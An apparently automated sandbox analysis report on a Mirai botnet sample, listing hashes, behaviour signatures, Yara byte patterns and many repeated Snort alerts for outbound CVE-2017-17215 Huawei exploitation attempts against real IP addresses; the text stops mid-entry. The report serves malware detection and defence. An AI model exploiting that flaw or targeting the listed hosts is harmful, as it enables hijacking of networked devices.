Create Interactive Tour

Linux Analysis Report
Hc4cUTxU09.elf

Overview

General Information

Sample name:	Hc4cUTxU09.elf renamed because original name is a hash value
Original sample name:	7444d9e3481a7f0fdf3beb05a7835cd5.elf
Analysis ID:	1368195
MD5:	7444d9e3481a7f0fdf3beb05a7835cd5
SHA1:	c42f7117bd7f2fb5d99b17c0829f4940f9cbe064
SHA256:	184726be4b13d36e7e5101009cdcd2ba59a63aa782ffec6cc2fe93419df7d838
Tags:	32elfgafgytintel
Infos:

Detection

Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1368195
Start date and time:	2023-12-30 07:13:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Hc4cUTxU09.elf renamed because original name is a hash value
Original Sample Name:	7444d9e3481a7f0fdf3beb05a7835cd5.elf
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/Hc4cUTxU09.elf
PID:	6210
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

Hc4cUTxU09.elf (PID: 6210, Parent: 6126, MD5: 7444d9e3481a7f0fdf3beb05a7835cd5) Arguments: /tmp/Hc4cUTxU09.elf

Hc4cUTxU09.elf New Fork (PID: 6211, Parent: 6210)

Hc4cUTxU09.elf New Fork (PID: 6216, Parent: 6211)

Hc4cUTxU09.elf New Fork (PID: 6212, Parent: 6210)

Hc4cUTxU09.elf New Fork (PID: 6213, Parent: 6212)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Hc4cUTxU09.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Hc4cUTxU09.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
Hc4cUTxU09.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x6f32:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
Hc4cUTxU09.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xabeb:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
Hc4cUTxU09.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x9403:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
Hc4cUTxU09.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6f02:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6210.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6210.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6210.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x6f32:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6210.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xabeb:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6210.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x9403:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6210.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6f02:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.120.20.18

Timestamp:	192.168.2.2394.120.20.1840956372152835222 12/30/23-07:15:47.300043
SID:	2835222
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.23.134.73

Timestamp:	192.168.2.23154.23.134.7355752372152835222 12/30/23-07:15:50.287760
SID:	2835222
Source Port:	55752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.45.169

Timestamp:	192.168.2.23156.253.45.16953042372152835222 12/30/23-07:15:30.717600
SID:	2835222
Source Port:	53042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.41.50

Timestamp:	192.168.2.23156.253.41.5047374372152829579 12/30/23-07:15:47.021618
SID:	2829579
Source Port:	47374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.152.25

Timestamp:	192.168.2.2394.121.152.2539552372152835222 12/30/23-07:15:23.427289
SID:	2835222
Source Port:	39552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.88.57

Timestamp:	192.168.2.2394.123.88.5738232372152829579 12/30/23-07:15:23.954177
SID:	2829579
Source Port:	38232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.139.97

Timestamp:	192.168.2.23156.77.139.9747302372152835222 12/30/23-07:14:05.313724
SID:	2835222
Source Port:	47302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.16.13.71

Timestamp:	192.168.2.2337.16.13.7145674372152835222 12/30/23-07:14:45.021139
SID:	2835222
Source Port:	45674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.215.71.46

Timestamp:	192.168.2.23154.215.71.4656186372152835222 12/30/23-07:14:28.310247
SID:	2835222
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.148.188

Timestamp:	192.168.2.2394.123.148.18836902372152829579 12/30/23-07:15:30.130385
SID:	2829579
Source Port:	36902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.22.30

Timestamp:	192.168.2.2394.123.22.3043280372152829579 12/30/23-07:14:47.486787
SID:	2829579
Source Port:	43280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.46.215.224

Timestamp:	192.168.2.2341.46.215.22447400372152835222 12/30/23-07:15:07.430465
SID:	2835222
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.37.238

Timestamp:	192.168.2.2394.123.37.23841874372152829579 12/30/23-07:15:50.565664
SID:	2829579
Source Port:	41874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.12.227

Timestamp:	192.168.2.23156.241.12.22735868372152835222 12/30/23-07:15:08.397792
SID:	2835222
Source Port:	35868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.152.25

Timestamp:	192.168.2.2394.121.152.2539552372152829579 12/30/23-07:15:23.427289
SID:	2829579
Source Port:	39552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.216.102

Timestamp:	192.168.2.2394.122.216.10247986372152835222 12/30/23-07:14:23.094707
SID:	2835222
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.143.177

Timestamp:	192.168.2.2394.123.143.17757082372152835222 12/30/23-07:15:24.521365
SID:	2835222
Source Port:	57082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.23.134.73

Timestamp:	192.168.2.23154.23.134.7355752372152829579 12/30/23-07:15:50.287760
SID:	2829579
Source Port:	55752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.178.163.121

Timestamp:	192.168.2.23107.178.163.12159174372152835222 12/30/23-07:14:16.623664
SID:	2835222
Source Port:	59174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.82.64

Timestamp:	192.168.2.2394.122.82.6454396372152829579 12/30/23-07:15:47.309378
SID:	2829579
Source Port:	54396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.124.231

Timestamp:	192.168.2.2394.122.124.23140622372152829579 12/30/23-07:15:15.157308
SID:	2829579
Source Port:	40622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.46.215.224

Timestamp:	192.168.2.2341.46.215.22447400372152829579 12/30/23-07:15:07.430465
SID:	2829579
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.206.133.152

Timestamp:	192.168.2.23154.206.133.15238110372152835222 12/30/23-07:14:50.094918
SID:	2835222
Source Port:	38110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.89.236

Timestamp:	192.168.2.23156.254.89.23657256372152835222 12/30/23-07:14:23.676682
SID:	2835222
Source Port:	57256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.216.102

Timestamp:	192.168.2.2394.122.216.10247986372152829579 12/30/23-07:14:23.094707
SID:	2829579
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.215.71.46

Timestamp:	192.168.2.23154.215.71.4656186372152829579 12/30/23-07:14:28.310247
SID:	2829579
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.38.240.187

Timestamp:	192.168.2.23154.38.240.18734874372152835222 12/30/23-07:13:57.856835
SID:	2835222
Source Port:	34874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.28.253

Timestamp:	192.168.2.23156.247.28.25338666372152829579 12/30/23-07:14:45.199276
SID:	2829579
Source Port:	38666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.24.196

Timestamp:	192.168.2.23156.230.24.19656368372152829579 12/30/23-07:15:15.774697
SID:	2829579
Source Port:	56368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.148.175.73

Timestamp:	192.168.2.23107.148.175.7357246372152829579 12/30/23-07:13:58.012980
SID:	2829579
Source Port:	57246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.89.236

Timestamp:	192.168.2.23156.254.89.23657256372152829579 12/30/23-07:14:23.676682
SID:	2829579
Source Port:	57256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.124.231

Timestamp:	192.168.2.2394.122.124.23140622372152835222 12/30/23-07:15:15.157308
SID:	2835222
Source Port:	40622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.143.177

Timestamp:	192.168.2.2394.123.143.17757082372152829579 12/30/23-07:15:24.521365
SID:	2829579
Source Port:	57082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.52.86

Timestamp:	192.168.2.23156.254.52.8642982372152829579 12/30/23-07:15:13.874917
SID:	2829579
Source Port:	42982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.68.195

Timestamp:	192.168.2.23156.254.68.19550716372152835222 12/30/23-07:15:31.017944
SID:	2835222
Source Port:	50716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.178.163.121

Timestamp:	192.168.2.23107.178.163.12159174372152829579 12/30/23-07:14:16.623664
SID:	2829579
Source Port:	59174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.95.251.242

Timestamp:	192.168.2.2392.95.251.24237922372152835222 12/30/23-07:15:23.665818
SID:	2835222
Source Port:	37922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.186.3.83

Timestamp:	192.168.2.23222.186.3.8343122372152829579 12/30/23-07:14:28.324474
SID:	2829579
Source Port:	43122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.8.108

Timestamp:	192.168.2.23156.224.8.10836906372152835222 12/30/23-07:14:33.253115
SID:	2835222
Source Port:	36906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.21.86

Timestamp:	192.168.2.2394.122.21.8659126372152829579 12/30/23-07:15:15.170645
SID:	2829579
Source Port:	59126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.206.133.152

Timestamp:	192.168.2.23154.206.133.15238110372152829579 12/30/23-07:14:50.094918
SID:	2829579
Source Port:	38110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.138.70.146

Timestamp:	192.168.2.2345.138.70.14657834372152829579 12/30/23-07:13:56.532860
SID:	2829579
Source Port:	57834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.139.97

Timestamp:	192.168.2.23156.77.139.9747302372152829579 12/30/23-07:14:05.313724
SID:	2829579
Source Port:	47302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.134.80

Timestamp:	192.168.2.23156.77.134.8054200372152829579 12/30/23-07:15:41.050395
SID:	2829579
Source Port:	54200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.16.13.71

Timestamp:	192.168.2.2337.16.13.7145674372152829579 12/30/23-07:14:45.021139
SID:	2829579
Source Port:	45674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.239.192

Timestamp:	192.168.2.2345.43.239.19250470372152829579 12/30/23-07:15:11.563444
SID:	2829579
Source Port:	50470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.22.30

Timestamp:	192.168.2.2394.123.22.3043280372152835222 12/30/23-07:14:47.486787
SID:	2835222
Source Port:	43280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.214.87.143

Timestamp:	192.168.2.23154.214.87.14358894372152829579 12/30/23-07:15:34.339311
SID:	2829579
Source Port:	58894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.238.184.39

Timestamp:	192.168.2.2341.238.184.3935512372152829579 12/30/23-07:15:41.265272
SID:	2829579
Source Port:	35512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.12.227

Timestamp:	192.168.2.23156.241.12.22735868372152829579 12/30/23-07:15:08.397792
SID:	2829579
Source Port:	35868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.186.3.83

Timestamp:	192.168.2.23222.186.3.8343122372152835222 12/30/23-07:14:28.324474
SID:	2835222
Source Port:	43122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.115.25

Timestamp:	192.168.2.2394.121.115.2549662372152829579 12/30/23-07:15:49.903824
SID:	2829579
Source Port:	49662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.36.36

Timestamp:	192.168.2.23156.254.36.3650508372152835222 12/30/23-07:14:28.610694
SID:	2835222
Source Port:	50508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.8.108

Timestamp:	192.168.2.23156.224.8.10836906372152829579 12/30/23-07:14:33.253115
SID:	2829579
Source Port:	36906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.107

Timestamp:	192.168.2.23156.235.100.10742320372152835222 12/30/23-07:15:13.736018
SID:	2835222
Source Port:	42320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.77.176

Timestamp:	192.168.2.2394.123.77.17634208372152835222 12/30/23-07:15:41.207064
SID:	2835222
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.38.240.187

Timestamp:	192.168.2.23154.38.240.18734874372152829579 12/30/23-07:13:57.856835
SID:	2829579
Source Port:	34874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.108.33

Timestamp:	192.168.2.2341.207.108.3340066372152835222 12/30/23-07:15:49.973375
SID:	2835222
Source Port:	40066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.20.206

Timestamp:	192.168.2.2394.122.20.20646088372152835222 12/30/23-07:14:41.593005
SID:	2835222
Source Port:	46088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.239.192

Timestamp:	192.168.2.2345.43.239.19250470372152835222 12/30/23-07:15:11.563444
SID:	2835222
Source Port:	50470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.47.161

Timestamp:	192.168.2.23156.253.47.16133320372152829579 12/30/23-07:15:24.541760
SID:	2829579
Source Port:	33320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.21.254

Timestamp:	192.168.2.2394.121.21.25459340372152829579 12/30/23-07:15:04.803549
SID:	2829579
Source Port:	59340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.214.87.143

Timestamp:	192.168.2.23154.214.87.14358894372152835222 12/30/23-07:15:34.339311
SID:	2835222
Source Port:	58894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.60.28

Timestamp:	192.168.2.23156.254.60.2841794372152835222 12/30/23-07:14:23.978463
SID:	2835222
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.20.206

Timestamp:	192.168.2.2394.122.20.20646088372152829579 12/30/23-07:14:41.593005
SID:	2829579
Source Port:	46088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.148.175.73

Timestamp:	192.168.2.23107.148.175.7357246372152835222 12/30/23-07:13:58.012980
SID:	2835222
Source Port:	57246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.108.33

Timestamp:	192.168.2.2341.207.108.3340066372152829579 12/30/23-07:15:49.973375
SID:	2829579
Source Port:	40066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.238.184.39

Timestamp:	192.168.2.2341.238.184.3935512372152835222 12/30/23-07:15:41.265272
SID:	2835222
Source Port:	35512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.115.25

Timestamp:	192.168.2.2394.121.115.2549662372152835222 12/30/23-07:15:49.903824
SID:	2835222
Source Port:	49662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.36.36

Timestamp:	192.168.2.23156.254.36.3650508372152829579 12/30/23-07:14:28.610694
SID:	2829579
Source Port:	50508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.107

Timestamp:	192.168.2.23156.235.100.10742320372152829579 12/30/23-07:15:13.736018
SID:	2829579
Source Port:	42320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.47.161

